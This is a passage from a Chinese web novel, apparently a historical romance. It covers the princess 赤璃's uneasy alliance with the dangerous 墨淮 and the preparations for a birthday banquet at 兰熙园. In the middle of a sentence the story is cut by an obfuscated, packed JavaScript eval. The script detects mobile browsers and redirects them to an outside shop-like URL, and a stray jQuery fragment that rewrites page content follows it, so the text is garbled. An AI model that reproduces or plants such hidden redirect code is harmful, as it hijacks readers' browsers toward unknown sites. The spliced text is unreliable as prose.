心底里像被人用掌心狠狠碾过,连带着尾椎都猛地蹿起一股致命的酥麻,直冲头顶。
她一动也不敢动,连半分余光都不敢向他看去。
诚然,她是知道对方在乎自己,所以才能利用这一点让他为自己所用,但没想到事情似乎比她想象的要更颠覆认知。
这个男人是一个疯子,是不能用常理来论断的。
他没有正常人的情感,永远都活在深渊里与杀戮为伍,而自己却不知深浅地招惹了他这么多年,最后亲手打破那一层薄垒,给他机会越了界。
“不要怕,我只是希望我们能对彼此坦诚一点。”墨淮满意地看着她不断犹豫挣扎的脸色,道:“还是说,郡主现在就后悔了?”
语气听上去很温柔,但人却渐渐起身,用深沉高大的影子将她牢牢笼住,似乎并不打算给她任何可以逃走喘息的空间。
沐阳已经答应他了,不论这是不是他算计来的,结果就摆在这里。
除了他,她没有第二个选择。
“玄指挥使误会了,在我没有达成目的前,只要你不出卖背叛我,我们就会是最牢靠的盟友。”
半晌,赤璃抬起头,选择妥协和接受。
虽然不想承认,但当他站在自己这一边时,那些曾经绝对厌恨的手段竟都在瞬间转变,成为了对她最有利的武器。
她没有理由放弃掉。
至于别的,且走一步看一步吧。
见状,他低低一笑,似乎颇为愉悦,可转身而去时又很是利落,半点看不出方才还对她温声细语。
“郡主,那就祝我们合作愉快。”
*
次日上午,赤璃便带冬雁她们下了山。
车夫奉命早早过来等在山脚,站在一旁的,是带着许多侍卫,身着淡青窄袖便服的男人。
“你怎么过来了,今日下朝这么早?”她心中一虚,不过自认为掩饰得还算自然。
墨淮旁若无人般为她拨开耳边碎发:“嗯,担心你。”
“是我太过疏忽,才让你无奈待在这寺中许久。”
他说着目光从不远处的锦衣卫身上收回,落进她眸中:“你有没有受伤?”
赤璃垂下眼睫摇了摇头:“我没事。”
见她情绪不高,墨淮便也没有再说什么,扶她上了马车准备回府。
临走前,赤璃又回头向山中久久看去。
“郡主在找什么人吗?”他心知肚明,却仍问道,不想错过她脸上的一丝表情。
山林巍峨,足以匿去所有人心间的争斗。
周围寂静无声,几息后,她转身笑得有些勉强:“没什么,走吧。”
*
回去后一连几天,她都没有收到任何来自锦衣卫的消息。
倒是陛下为了安抚她,派人送来许多珍稀药材,嘱咐她好好修养,解了这惊吓后的晦气。
日子好像跟以前没什么区别。
唯一不同的是,嬷嬷们将她守得更严了,连墨淮陪她用膳也一定要在旁边侍候着。
她自知理亏,只好乖乖听她们的话,几乎半步都离不得。
很快,半月一晃而过,这段时间锦衣卫那边只来传过一次话,说杂务繁多,让她静待勿忧。
好在她也一直忙于太夫人的寿辰,没有额外的精力去纠结。
今年是太夫人七十大寿,陛下为表厚德,特许荣贵妃手下的女官,五品掌事来协助赤璃,将宴席在皇城之外的兰熙园举办。
因是陛下圣意,所以就算穆国公再怎么不情愿,也还是得遵旨办事。
太夫人对此倒是很开心,毕竟自从荣贵妃入宫,母女俩已有多年未见了,此番寿宴也算是因此能得个圆满。
寿宴这天,陛下额外赐了墨淮一日休沐,所以赤璃便带着他先赶往兰熙园安排。
待清点好侍卫巡守,确认好所有紧急预案后,他一回身便见女子满脸正肃,与一位内府侍监核对着流程,亲自检查席位安置与各处器皿是否合规。
“辛苦了。”他提步上前,撑起一把纸伞为她遮着有些刺眼的晨光。
只稍稍一愣,她就匆匆点头:“大哥一会儿就带祖母和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030686|194543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祖父过来,你去接一下,之后也会有宾客陆续到来,有得你忙,就别管我了。”
墨淮罕见地被一噎,半天不知该如何反驳只好应下,临走前不舍地回头:“那我去了?”
“去呗。”她疑惑地一瞥,转眼又被女侍叫走前去查验各处\女眷休憩之所。
他甚至都来不及再说些什么,比如,你不要太劳累,照顾好自己,记得偷闲时喝喝温茶吃些喜欢的酥糕……
这么想着,不知不觉间笑容已铺满了眼底。
瞿弱明过来时看到的,就是男人这一身温柔的模样。
“大人,老夫人和国公爷快到了。”
他鼻子一酸,不忍上前去打扰,却又不得不出声提醒。
“今天阳光很好,我很喜欢。”他依然笑着,远远地望向那道倩影:“希望我死的时候,天气也能如此刻一般明媚。”
瞿弱明本就是个文人满腔感性,一听这话,顿时红了眼眶:“大人自有福德,那巫医此次没找到,我们就再去寻,将整个大乾翻过来,掘地三尺也会把他带回来!”
自从前日派出去的兄弟回了信,得知十一年前为大人医治头疾,配制药丸和药香的巫医失去行踪多年,他就一直心里头发闷。
不明白凭什么付出了这么多的一个人,却得不到世俗口中的好下场。
眼下看他这样轻飘飘地希冀死亡,瞿弱明瞬间便难以自控。
墨淮轻轻一笑:“当年他为我治病时已有古稀,如今此人是否尚在人世都犹未可知。”
他终于收回目光,掸了掸衣袖,踏步朝园外走去:“别有执念,先生只需助我完成要做的事,君言便已是感激不尽。”
穆国公府的马车在兰熙园外停了下来,一位与墨淮长得很相像的男人率先下了马车,恭恭敬敬弯腰请道:“祖母,祖父,我们到了。”
随着穆国公和太夫人相继迈下车梯,墨淮也刚好带人走了出来。
他牵起嘴角,上前问候道:“孙儿拜请祖母寿安,祖父康健。”
说罢微微转身:“大哥,别来无恙。”